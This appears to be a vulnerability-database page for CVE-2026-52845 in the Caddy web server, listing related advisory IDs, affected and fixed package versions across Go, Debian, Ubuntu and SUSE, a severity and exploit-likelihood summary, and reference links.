- GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
- GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
- GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
- GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
- GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
- GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
- GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
- GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
- GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
- GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
- GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
- GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
- GO-2026-6061 GHSA-hrxh-6v49-42gf
- GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
- GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
- GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
- GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
- GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
- GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
- GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
- GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
- GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
- GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
- GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
- GO-2026-6073 CVE-2026-58435…
- Record
SUSE-SU-2026:23227-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/caddyserver/caddy/v2Go |
before 2.11.4 | 2.11.4 |
github.com/caddyserver/caddyGo |
through 1.0.5 | None known |
caddyDebian:12 |
before 2.6.2-5+deb12u1, plus listed versions 2.6.2-5 |
2.6.2-5+deb12u1 |
caddyDebian:13 |
before 2.6.2-12+deb13u1, plus listed versions 2.6.2-12 |
2.6.2-12+deb13u1 |
caddyDebian:14 |
before 2.11.4-1, plus listed versions 2.11.2-12.11.2-1~bpo13+12.6.2-122.6.2-132.6.2-14 |
2.11.4-1 |
govulncheck-vulndbSUSE:Linux Enterprise Server 16.0 |
before 0.0.20260727T201416-160000.1.1 | 0.0.20260727T201416-160000.1.1 |
govulncheck-vulndbSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 0.0.20260727T201416-160000.1.1 | 0.0.20260727T201416-160000.1.1 |
caddyUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 2.6.2-62.6.2-6ubuntu0.24.04.12.6.2-6ubuntu0.24.04.22.6.2-6ubuntu0.24.04.2+esm12.6.2-6ubuntu0.24.04.32.6.2-6ubuntu0.24.04.3+esm12.6.2-6ubuntu0.24.04.3+esm2 |
None known |
caddyUbuntu:25.10 |
All versions, plus listed versions 2.6.2-92.6.2-112.6.2-12 |
None known |
caddyUbuntu:26.10 |
All versions, plus listed versions 2.6.2-142.11.4-1 |
None known |
caddyUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 2.6.2-122.6.2-142.6.2-14ubuntu0.26.04.1~esm1 |
None known |
govulncheck-vulndbopenSUSE:Leap 16.0 |
before 0.0.20260727T201416-160000.1.1 | 0.0.20260727T201416-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-52845 is a high vulnerability (CVSS 8.1) in Caddyserver Caddy, published June 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 38th percentile. Fixed in github.com/caddyserver/caddy/v2 2.11.4.
References
github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g
access.redhat.com/security/cve/CVE-2026-52845
bugzilla.redhat.com/show_bug.cgi?id=2491907
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52845.json
nvd.nist.gov/vuln/detail/CVE-2026-52845
Show 85 moreShow less
security-tracker.debian.org/tracker/CVE-2026-52845
suse.com/support/update/announcement/2026/suse-su-202623216-1
ubuntu.com/security/CVE-2026-52845
cve.org/CVERecord?id=CVE-2026-52845
Left out here: the rest of 5 source descriptions. The JSON record has them.